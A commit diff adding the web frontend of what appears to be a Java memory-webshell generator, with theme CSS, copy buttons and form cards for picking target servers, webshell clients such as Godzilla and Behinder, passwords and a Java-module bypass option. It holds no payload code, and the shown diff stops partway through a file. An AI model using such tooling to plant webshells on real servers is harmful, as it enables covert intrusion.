feat: support fumadocs

web/app/app.css

@@ -0,0 +1,145 @@
+@import "tailwindcss";
+@import "tw-animate-css";
+@import "fumadocs-ui/css/neutral.css";
+@import "fumadocs-ui/css/preset.css";
+
+:root {
+  --radius: 0.625rem;
+  --background: oklch(1 0 0);
+  --foreground: oklch(0.141 0.005 285.823);
+  --card: oklch(1 0 0);
+  --card-foreground: oklch(0.141 0.005 285.823);
+  --popover: oklch(1 0 0);
+  --popover-foreground: oklch(0.141 0.005 285.823);
+  --primary: oklch(0.21 0.006 285.885);
+  --primary-foreground: oklch(0.985 0 0);
+  --secondary: oklch(0.967 0.001 286.375);
+  --secondary-foreground: oklch(0.21 0.006 285.885);
+  --muted: oklch(0.967 0.001 286.375);
+  --muted-foreground: oklch(0.552 0.016 285.938);
+  --accent: oklch(0.967 0.001 286.375);
+  --accent-foreground: oklch(0.21 0.006 285.885);
+  --destructive: oklch(0.577 0.245 27.325);
+  --border: oklch(0.92 0.004 286.32);
+  --input: oklch(0.92 0.004 286.32);
+  --ring: oklch(0.705 0.015 286.067);
+  --chart-1: oklch(0.646 0.222 41.116);
+  --chart-2: oklch(0.6 0.118 184.704);
+  --chart-3: oklch(0.398 0.07 227.392);
+  --chart-4: oklch(0.828 0.189 84.429);
+  --chart-5: oklch(0.769 0.188 70.08);
+  --sidebar: oklch(0.985 0 0);
+  --sidebar-foreground: oklch(0.141 0.005 285.823);
+  --sidebar-primary: oklch(0.21 0.006 285.885);
+  --sidebar-primary-foreground: oklch(0.985 0 0);
+  --sidebar-accent: oklch(0.967 0.001 286.375);
+  --sidebar-accent-foreground: oklch(0.21 0.006 285.885);
+  --sidebar-border: oklch(0.92 0.004 286.32);
+  --sidebar-ring: oklch(0.705 0.015 286.067);
+  --color-1: oklch(66.2% 0.225 25.9);
+  --color-2: oklch(60.4% 0.26 302);
+  --color-3: oklch(69.6% 0.165 251);
+  --color-4: oklch(80.2% 0.134 225);
+  --color-5: oklch(90.7% 0.231 133);
+}
+
+.dark {
+  --background: oklch(0.141 0.005 285.823);
+  --foreground: oklch(0.985 0 0);
+  --card: oklch(0.21 0.006 285.885);
+  --card-foreground: oklch(0.985 0 0);
+  --popover: oklch(0.21 0.006 285.885);
+  --popover-foreground: oklch(0.985 0 0);
+  --primary: oklch(0.92 0.004 286.32);
+  --primary-foreground: oklch(0.21 0.006 285.885);
+  --secondary: oklch(0.274 0.006 286.033);
+  --secondary-foreground: oklch(0.985 0 0);
+  --muted: oklch(0.274 0.006 286.033);
+  --muted-foreground: oklch(0.705 0.015 286.067);
+  --accent: oklch(0.274 0.006 286.033);
+  --accent-foreground: oklch(0.985 0 0);
+  --destructive: oklch(0.704 0.191 22.216);
+  --border: oklch(1 0 0 / 10%);
+  --input: oklch(1 0 0 / 15%);
+  --ring: oklch(0.552 0.016 285.938);
+  --chart-1: oklch(0.488 0.243 264.376);
+  --chart-2: oklch(0.696 0.17 162.48);
+  --chart-3: oklch(0.769 0.188 70.08);
+  --chart-4: oklch(0.627 0.265 303.9);
+  --chart-5: oklch(0.645 0.246 16.439);
+  --sidebar: oklch(0.21 0.006 285.885);
+  --sidebar-foreground: oklch(0.985 0 0);
+  --sidebar-primary: oklch(0.488 0.243 264.376);
+  --sidebar-primary-foreground: oklch(0.985 0 0);
+  --sidebar-accent: oklch(0.274 0.006 286.033);
+  --sidebar-accent-foreground: oklch(0.985 0 0);
+  --sidebar-border: oklch(1 0 0 / 10%);
+  --sidebar-ring: oklch(0.552 0.016 285.938);
+  --color-1: oklch(66.2% 0.225 25.9);
+  --color-2: oklch(60.4% 0.26 302);
+  --color-3: oklch(69.6% 0.165 251);
+  --color-4: oklch(80.2% 0.134 225);
+  --color-5: oklch(90.7% 0.231 133);
+}
+
+@theme inline {
+  --color-background: var(--background);
+  --color-foreground: var(--foreground);
+  --color-card: var(--card);
+  --color-card-foreground: var(--card-foreground);
+  --color-popover: var(--popover);
+  --color-popover-foreground: var(--popover-foreground);
+  --color-primary: var(--primary);
+  --color-primary-foreground: var(--primary-foreground);
+  --color-secondary: var(--secondary);
+  --color-secondary-foreground: var(--secondary-foreground);
+  --color-muted: var(--muted);
+  --color-muted-foreground: var(--muted-foreground);
+  --color-accent: var(--accent);
+  --color-accent-foreground: var(--accent-foreground);
+  --color-destructive: var(--destructive);
+  --color-destructive-foreground: var(--destructive-foreground);
+  --color-border: var(--border);
+  --color-input: var(--input);
+  --color-ring: var(--ring);
+  --color-chart-1: var(--chart-1);
+  --color-chart-2: var(--chart-2);
+  --color-chart-3: var(--chart-3);
+  --color-chart-4: var(--chart-4);
+  --color-chart-5: var(--chart-5);
+  --radius-sm: calc(var(--radius) - 4px);
+  --radius-md: calc(var(--radius) - 2px);
+  --radius-lg: var(--radius);
+  --radius-xl: calc(var(--radius) + 4px);
+  --color-sidebar: var(--sidebar);
+  --color-sidebar-foreground: var(--sidebar-foreground);
+  --color-sidebar-primary: var(--sidebar-primary);
+  --color-sidebar-primary-foreground: var(--sidebar-primary-foreground);
+  --color-sidebar-accent: var(--sidebar-accent);
+  --color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
+  --color-sidebar-border: var(--sidebar-border);
+  --color-sidebar-ring: var(--sidebar-ring);
+  --animate-line-shadow: line-shadow 15s linear infinite;
+  @keyframes line-shadow {
+    0% {
+      background-position: 0 0;
+    }
+    100% {
+      background-position: 100% -100%;
+    }
+  }
+  --animate-rainbow: rainbow var(--speed, 2s) infinite linear;
+  --color-color-5: var(--color-5);
+  --color-color-4: var(--color-4);
+  --color-color-3: var(--color-3);
+  --color-color-2: var(--color-2);
+  --color-color-1: var(--color-1);
+  @keyframes rainbow {
+    0% {
+      background-position: 0%;
+    }
+    100% {
+      background-position: 200%;
+    }
+  }
+}

web/app/components/code-viewer.tsx

@@ -0,0 +1,121 @@
+import type { VariantProps } from "class-variance-authority";
+import { Check, Copy } from "lucide-react";
+import {
+  type HTMLProps,
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useState,
+} from "react";
+import CopyToClipboard from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
+import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
+import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
+import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
+import { toast } from "sonner";
+import { Button, type buttonVariants } from "@/components/ui/button";
+import { cn } from "@/lib/utils";
+
+SyntaxHighlighter.registerLanguage("java", java);
+interface CopyButtonProps extends React.ComponentProps<"button"> {
+  value: string;
+  src?: string;
+}
+
+export function CopyButton({
+  value,
+}: Readonly<CopyButtonProps & VariantProps<typeof buttonVariants>>) {
+  const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation(["common"]);
+
+  useEffect(() => {
+    if (hasCopied) {
+      const timer = setTimeout(() => {
+        setHasCopied(false);
+      }, 1000);
+      return () => clearTimeout(timer);
+    }
+  }, [hasCopied]);
+
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copySuccess"), { duration: 1000 });
+    }
+  }, [hasCopied, t]);
+
+  return (
+    <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
+      <Button
+        variant="ghost"
+        size="icon"
+        type="button"
+        className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+        disabled={hasCopied}
+      >
+        {hasCopied ? <Check /> : <Copy />}
+      </Button>
+    </CopyToClipboard.CopyToClipboard>
+  );
+}
+
+export default function CodeViewer({
+  code,
+  header,
+  button,
+  language,
+  height,
+  showLineNumbers = true,
+  wrapLongLines = true,
+}: Readonly<CodeViewerProps>) {
+  const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
+    wrapLongLines
+      ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
+      : undefined;
+  return (
+    <div className="rounded-lg border">
+      <div
+        className={cn(
+          "flex items-center border-b p-2 justify-end",
+          header && "justify-between",
+        )}
+      >
+        {header}
+        <div className="flex items-center gap-2">
+          {button}
+          <CopyButton value={code} variant="ghost" size="sm" />
+        </div>
+      </div>
+      <div className="relative overflow-hidden text-xs wrap-all">
+        <SyntaxHighlighter
+          language={language}
+          style={materialDark}
+          showLineNumbers={showLineNumbers}
+          wrapLongLines={wrapLongLines}
+          lineProps={lineProps}
+          customStyle={{
+            margin: 0,
+            padding: showLineNumbers ? 0 : "1em 1em",
+            borderRadius: "0 0 var(--radius) var(--radius)",
+            height: height,
+            whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
+            overflowWrap: wrapLongLines ? "normal" : "break-word",
+          }}
+        >
+          {code}
+        </SyntaxHighlighter>
+      </div>
+    </div>
+  );
+}
+
+interface CodeViewerProps {
+  code: string;
+  language: string;
+  header?: ReactNode;
+  button?: ReactNode;
+  height?: string | number;
+  showLineNumbers?: boolean;
+  wrapLongLines?: boolean;
+  lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
+}

web/app/components/copyable-field.tsx

@@ -0,0 +1,66 @@
+import { Check, Copy } from "lucide-react";
+import { useCallback, useEffect, useState } from "react";
+import CopyToClipboard from "react-copy-to-clipboard";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import { Button } from "@/components/ui/button";
+import { Label } from "@/components/ui/label";
+
+interface CopyableFieldProps {
+  label: string;
+  value?: string;
+  text?: string;
+}
+
+export function CopyableField({
+  label,
+  value,
+  text,
+}: Readonly<CopyableFieldProps>) {
+  const [hasCopied, setHasCopied] = useState(false);
+  const { t } = useTranslation(["common"]);
+
+  useEffect(() => {
+    if (hasCopied) {
+      const timer = setTimeout(() => {
+        setHasCopied(false);
+      }, 1000);
+      return () => clearTimeout(timer);
+    }
+  }, [hasCopied]);
+
+  const handleCopy = useCallback(() => {
+    if (!hasCopied) {
+      setHasCopied(true);
+      toast.success(t("copyLabelSuccess", { label }), {
+        duration: 1000,
+      });
+    }
+  }, [hasCopied, label, t]);
+
+  return (
+    <div className="flex flex-col gap-1 py-1">
+      <div className="flex items-center justify-between gap-2 h-6">
+        <Label className="text-sm text-muted-foreground">{label}：</Label>
+        {value && (
+          <CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-8 w-8"
+              disabled={hasCopied}
+            >
+              {hasCopied ? (
+                <Check className="h-4 w-4" />
+              ) : (
+                <Copy className="h-4 w-4" />
+              )}
+            </Button>
+          </CopyToClipboard.CopyToClipboard>
+        )}
+      </div>
+      <p className="text-sm break-all">{text}</p>
+    </div>
+  );
+}

web/app/components/language-switcher.tsx

@@ -0,0 +1,23 @@
+import { LanguagesIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Button } from "./ui/button";
+
+export function LanguageSwitcher() {
+  const { i18n } = useTranslation();
+
+  const toggleLanguage = () => {
+    const newLang = i18n.language === "en" ? "zh-CN" : "en";
+    i18n.changeLanguage(newLang);
+  };
+
+  return (
+    <Button
+      variant="ghost"
+      size="icon"
+      onClick={toggleLanguage}
+      title={i18n.language === "en" ? "Switch to Chinese" : "切换到英文"}
+    >
+      <LanguagesIcon className="h-5 w-5" />
+    </Button>
+  );
+}

web/app/components/magicui/line-shadow-text.tsx

@@ -0,0 +1,42 @@
+import { type MotionProps, motion } from "motion/react";
+import { cn } from "@/lib/utils";
+
+interface LineShadowTextProps
+  extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
+    MotionProps {
+  shadowColor?: string;
+  as?: React.ElementType;
+}
+
+export function LineShadowText({
+  children,
+  shadowColor = "black",
+  className,
+  as: Component = "span",
+  ...props
+}: LineShadowTextProps) {
+  const MotionComponent = motion.create(Component);
+  const content = typeof children === "string" ? children : null;
+
+  if (!content) {
+    throw new Error("LineShadowText only accepts string content");
+  }
+
+  return (
+    <MotionComponent
+      style={{ "--shadow-color": shadowColor } as React.CSSProperties}
+      className={cn(
+        "relative z-0 inline-flex",
+        "after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
+        "after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
+        "after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
+        "after:animate-line-shadow",
+        className,
+      )}
+      data-text={content}
+      {...props}
+    >
+      {content}
+    </MotionComponent>
+  );
+}

web/app/components/magicui/rainbow-button.tsx

@@ -0,0 +1,59 @@
+import { Slot } from "@radix-ui/react-slot";
+import { cva, type VariantProps } from "class-variance-authority";
+import React from "react";
+import { cn } from "@/lib/utils";
+
+const rainbowButtonVariants = cva(
+  cn(
+    "relative cursor-pointer group transition-all animate-rainbow",
+    "inline-flex items-center justify-center gap-2 shrink-0",
+    "rounded-sm outline-none focus-visible:ring-[3px] aria-invalid:border-destructive",
+    "text-sm font-medium whitespace-nowrap",
+    "disabled:pointer-events-none disabled:opacity-50",
+    "[&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0",
+  ),
+  {
+    variants: {
+      variant: {
+        default:
+          "border-0 bg-[linear-gradient(#121213,#121213),linear-gradient(#121213_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-primary-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] [border:calc(0.125rem)_solid_transparent] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#fff,#fff),linear-gradient(#fff_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
+        outline:
+          "border border-input border-b-transparent bg-[linear-gradient(#ffffff,#ffffff),linear-gradient(#ffffff_50%,rgba(18,18,19,0.6)_80%,rgba(18,18,19,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] bg-[length:200%] text-accent-foreground [background-clip:padding-box,border-box,border-box] [background-origin:border-box] before:absolute before:bottom-[-20%] before:left-1/2 before:z-0 before:h-1/5 before:w-3/5 before:-translate-x-1/2 before:animate-rainbow before:bg-[linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))] before:[filter:blur(0.75rem)] dark:bg-[linear-gradient(#0a0a0a,#0a0a0a),linear-gradient(#0a0a0a_50%,rgba(255,255,255,0.6)_80%,rgba(0,0,0,0)),linear-gradient(90deg,var(--color-1),var(--color-5),var(--color-3),var(--color-4),var(--color-2))]",
+      },
+      size: {
+        default: "h-9 px-4 py-2",
+        sm: "h-8 rounded-xl px-3 text-xs",
+        lg: "h-11 rounded-xl px-8",
+        icon: "size-9",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+      size: "default",
+    },
+  },
+);
+
+interface RainbowButtonProps
+  extends React.ButtonHTMLAttributes<HTMLButtonElement>,
+    VariantProps<typeof rainbowButtonVariants> {
+  asChild?: boolean;
+}
+
+const RainbowButton = React.forwardRef<HTMLButtonElement, RainbowButtonProps>(
+  ({ className, variant, size, asChild = false, ...props }, ref) => {
+    const Comp = asChild ? Slot : "button";
+    return (
+      <Comp
+        data-slot="button"
+        className={cn(rainbowButtonVariants({ variant, size, className }))}
+        ref={ref}
+        {...props}
+      />
+    );
+  },
+);
+
+RainbowButton.displayName = "RainbowButton";
+
+export { RainbowButton, rainbowButtonVariants, type RainbowButtonProps };

web/app/components/memshell/main-config-card.tsx

@@ -0,0 +1,442 @@
+import {
+  ArrowUpRightIcon,
+  AxeIcon,
+  CommandIcon,
+  NetworkIcon,
+  ServerIcon,
+  ShieldOffIcon,
+  SwordIcon,
+  WaypointsIcon,
+  ZapIcon,
+} from "lucide-react";
+import { type JSX, useCallback, useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
+import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
+import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
+import CustomTabContent from "@/components/memshell/tabs/custom-tab";
+import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
+import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
+import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormDescription,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Label } from "@/components/ui/label";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import { Tabs } from "@/components/ui/tabs";
+import {
+  type MainConfig,
+  type ServerConfig,
+  ShellToolType,
+} from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+const shellToolIcons: Record<ShellToolType, JSX.Element> = {
+  [ShellToolType.Behinder]: <ShieldOffIcon className="h-4 w-4" />,
+  [ShellToolType.Godzilla]: <AxeIcon className="h-4 w-4" />,
+  [ShellToolType.Command]: <CommandIcon className="h-4 w-4" />,
+  [ShellToolType.AntSword]: <SwordIcon className="h-4 w-4" />,
+  [ShellToolType.Suo5]: <WaypointsIcon className="h-4 w-4" />,
+  [ShellToolType.NeoreGeorg]: <NetworkIcon className="h-4 w-4" />,
+  [ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
+};
+
+const defaultServerVersionOptions = [
+  {
+    name: "Unknown",
+    value: "unknown",
+  },
+];
+
+export default function MainConfigCard({
+  mainConfig,
+  form,
+  servers,
+}: Readonly<{
+  mainConfig: MainConfig | undefined;
+  form: UseFormReturn<MemShellFormSchema>;
+  servers?: ServerConfig;
+}>) {
+  const [shellToolMap, setShellToolMap] = useState<{
+    [toolName: string]: string[];
+  }>();
+  const [shellTools, setShellTools] = useState<ShellToolType[]>([
+    ShellToolType.Godzilla,
+    ShellToolType.Behinder,
+    ShellToolType.AntSword,
+    ShellToolType.Command,
+    ShellToolType.Suo5,
+    ShellToolType.NeoreGeorg,
+    ShellToolType.Custom,
+  ]);
+  const [shellTypes, setShellTypes] = useState<string[]>([]);
+  const shellTool = form.watch("shellTool");
+  const { t } = useTranslation(["common", "memshell"]);
+
+  const [serverVersionOptions, setServerVersionOptions] = useState(
+    defaultServerVersionOptions,
+  );
+
+  // 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
+  useEffect(() => {
+    if (shellTypes.length > 0) {
+      form.setValue("shellType", shellTypes[0]);
+    }
+  }, [shellTypes, form]);
+
+  const handleServerChange = useCallback(
+    (value: string) => {
+      if (mainConfig) {
+        const newShellToolMap = mainConfig[value];
+        setShellToolMap(newShellToolMap);
+
+        const newShellTools = Object.keys(newShellToolMap);
+        setShellTools([
+          ...newShellTools.map((tool) => tool as ShellToolType),
+          ShellToolType.Custom,
+        ]);
+
+        const currentShellTool = form.getValues("shellTool");
+
+        const firstTool = newShellTools[0];
+        let currentShellTypes = null;
+
+        if (!newShellToolMap[currentShellTool]) {
+          form.setValue("shellTool", firstTool);
+          currentShellTypes = newShellToolMap[firstTool];
+        } else {
+          currentShellTypes = newShellToolMap[currentShellTool];
+        }
+        setShellTypes(currentShellTypes);
+
+        // 特殊环境的 JDK 版本
+        if (
+          (value === "SpringWebFlux" || value === "XXLJOB") &&
+          Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52
+        ) {
+          form.setValue("targetJdkVersion", "52");
+        } else {
+          form.setValue("targetJdkVersion", "50");
+        }
+
+        // 特殊的服务需要指定版本
+        if (value === "TongWeb") {
+          setServerVersionOptions([
+            ...defaultServerVersionOptions,
+            { name: "6", value: "6" },
+            { name: "7", value: "7" },
+            { name: "8", value: "8" },
+          ]);
+        } else if (value === "Jetty") {
+          setServerVersionOptions([
+            ...defaultServerVersionOptions,
+            { name: "6", value: "6" },
+            { name: "7+", value: "7+" },
+            { name: "12", value: "12" },
+          ]);
+        } else {
+          setServerVersionOptions(defaultServerVersionOptions);
+        }
+
+        form.resetField("serverVersion");
+        form.resetField("byPassJavaModule");
+        form.resetField("urlPattern");
+      }
+    },
+    [form, mainConfig],
+  );
+
+  // 处理一下默认值 server 不刷新 shellType 的问题
+  useEffect(() => {
+    if (mainConfig) {
+      const initialServer = form.getValues("server");
+      if (initialServer && mainConfig[initialServer]) {
+        handleServerChange(initialServer);
+      }
+    }
+  }, [mainConfig, form, handleServerChange]);
+
+  const handleShellToolChange = useCallback(
+    (value: string) => {
+      const resetCommand = () => {
+        form.resetField("commandParamName");
+        form.resetField("implementationClass");
+        form.resetField("encryptor");
+      };
+
+      const resetGodzilla = () => {
+        form.resetField("godzillaKey");
+        form.resetField("godzillaPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetBehinder = () => {
+        form.resetField("behinderPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetSuo5 = () => {
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetAntSword = () => {
+        form.resetField("antSwordPass");
+        form.resetField("headerName");
+        form.resetField("headerValue");
+      };
+
+      const resetNeoreGeorg = () => {
+        form.setValue("headerName", "Referer");
+        form.resetField("headerValue");
+      };
+
+      const resetCustom = () => {
+        form.resetField("shellClassBase64");
+      };
+
+      if (shellToolMap) {
+        let currentShellTypes = null;
+        if (value === ShellToolType.Custom) {
+          currentShellTypes = servers?.[form.getValues("server")] as string[];
+        } else {
+          currentShellTypes = shellToolMap[value];
+        }
+        setShellTypes(currentShellTypes);
+
+        form.resetField("urlPattern");
+        form.resetField("shellClassName");
+        form.resetField("injectorClassName");
+        if (value === ShellToolType.Godzilla) {
+          resetGodzilla();
+        } else if (value === ShellToolType.Behinder) {
+          resetBehinder();
+        } else if (value === ShellToolType.Command) {
+          resetCommand();
+        } else if (value === ShellToolType.Suo5) {
+          resetSuo5();
+        } else if (value === ShellToolType.AntSword) {
+          resetAntSword();
+        } else if (value === ShellToolType.NeoreGeorg) {
+          resetNeoreGeorg();
+        } else if (value === ShellToolType.Custom) {
+          resetCustom();
+        }
+      }
+      form.setValue("shellTool", value);
+    },
+    [form, servers, shellToolMap],
+  );
+
+  return (
+    <FormProvider {...form}>
+      <Card>
+        <CardHeader className="pb-1">
+          <CardTitle className="text-md flex items-center gap-2">
+            <ServerIcon className="h-5" />
+            <span>{t("common:mainConfig.title")}</span>
+          </CardTitle>
+        </CardHeader>
+        <CardContent>
+          <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+            <FormField
+              control={form.control}
+              name="server"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:server")}</FormFieldLabel>
+                  <Select
+                    onValueChange={(v) => {
+                      field.onChange(v);
+                      handleServerChange(v);
+                    }}
+                    value={field.value}
+                  >
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue
+                          placeholder={t("common:placeholders.select")}
+                        />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {Object.keys(servers ?? {}).map((server: string) => (
+                        <SelectItem key={server} value={server}>
+                          {server}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <FormDescription className="flex items-center">
+                    {t("memshell:tips.targetServerNotFound")}&nbsp;
+                    <a
+                      href="https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md"
+                      target="_blank"
+                      rel="noreferrer"
+                      className="flex items-center underline"
+                    >
+                      {t("memshell:tips.targetServerRequest")}
+                      <ArrowUpRightIcon className="h-4" />
+                    </a>
+                  </FormDescription>
+                </FormFieldItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="serverVersion"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:serverVersion")}</FormFieldLabel>
+                  <Select onValueChange={field.onChange} value={field.value}>
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue
+                          placeholder={t("common:placeholders.select")}
+                        />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {serverVersionOptions.map((v) => (
+                        <SelectItem key={v.value} value={v.value}>
+                          {v.name}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <FormMessage />
+                </FormFieldItem>
+              )}
+            />
+          </div>
+          <div className="grid grid-cols-1">
+            <FormField
+              control={form.control}
+              name="shellTool"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("common:shellTool")}</FormFieldLabel>
+                  <Select
+                    value={field.value}
+                    onValueChange={(v) => handleShellToolChange(v)}
+                  >
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {shellTools.map((tool) => (
+                        <SelectItem key={tool} value={tool}>
+                          <span className="flex items-center gap-2">
+                            {shellToolIcons[tool]}
+                            {tool}
+                          </span>
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                </FormFieldItem>
+              )}
+            />
+          </div>
+          <div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:flex 2xl:flex-row">
+            <FormField
+              control={form.control}
+              name="debug"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="debug"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <FormLabel htmlFor="debug">{t("common:debug")}</FormLabel>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="byPassJavaModule"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2  space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="bypass"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="shrink"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="shrink"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="shrink">{t("common:shrink")}</Label>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name="staticInitialize"
+              render={({ field }) => (
+                <FormItem className="flex items-center space-x-2 space-y-0">
+                  <FormControl>
+                    <Switch
+                      id="staticInitialize"
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <Label htmlFor="staticInitialize">
+                    {t("common:staticInitialize")}
+                  </Label>
+                </FormItem>
+              )}
+            />
+          </div>
+        </CardContent>
+      </Card>
+      <Tabs value={shellTool} className="w-full">
+        <GodzillaTabContent form={form} shellTypes={shellTypes} />
+        <CommandTabContent form={form} shellTypes={shellTypes} />
+        <BehinderTabContent form={form} shellTypes={shellTypes} />
+        <AntSwordTabContent form={form} shellTypes={shellTypes} />
+        <Suo5TabContent form={form} shellTypes={shellTypes} />
+        <NeoRegTabContent form={form} shellTypes={shellTypes} />
+        <CustomTabContent form={form} shellTypes={shellTypes} />
+      </Tabs>
+    </FormProvider>
+  );
+}

web/app/components/memshell/package-config-card.tsx

@@ -0,0 +1,118 @@
+import { PackageIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+} from "@/components/ui/form";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import type { PackerConfig } from "@/types/memshell";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+type Option = {
+  name: string;
+  value: string;
+};
+
+export default function PackageConfigCard({
+  packerConfig,
+  form,
+}: Readonly<{
+  packerConfig: PackerConfig | undefined;
+  form: UseFormReturn<MemShellFormSchema>;
+}>) {
+  const [options, setOptions] = useState<Array<Option>>([]);
+
+  const shellType = form.watch("shellType");
+  const server = form.watch("server");
+  const { t } = useTranslation("common");
+
+  useEffect(() => {
+    const filteredOptions = (packerConfig ?? []).filter((name) => {
+      if (!shellType || shellType === " ") {
+        return true;
+      }
+      if (shellType.startsWith("Agent")) {
+        return name.startsWith("Agent");
+      }
+      if (server.startsWith("XXL")) {
+        return !name.startsWith("Agent");
+      }
+      return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
+    });
+
+    const mappedOptions = filteredOptions.map((name) => {
+      return {
+        name: t(name),
+        value: name,
+      };
+    });
+
+    setOptions(mappedOptions);
+    const currentValue = form.getValues("packingMethod");
+    if (
+      filteredOptions.length > 0 &&
+      (!currentValue || !filteredOptions.includes(currentValue))
+    ) {
+      form.setValue("packingMethod", filteredOptions[0]);
+    }
+  }, [form, packerConfig, server, shellType, t]);
+
+  return (
+    <Card className="w-full">
+      <CardHeader className="pb-1">
+        <CardTitle className="text-md flex items-center gap-2">
+          <PackageIcon className="h-5" />
+          <span>{t("packerConfig.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        {options.length > 0 ? (
+          <FormProvider {...form}>
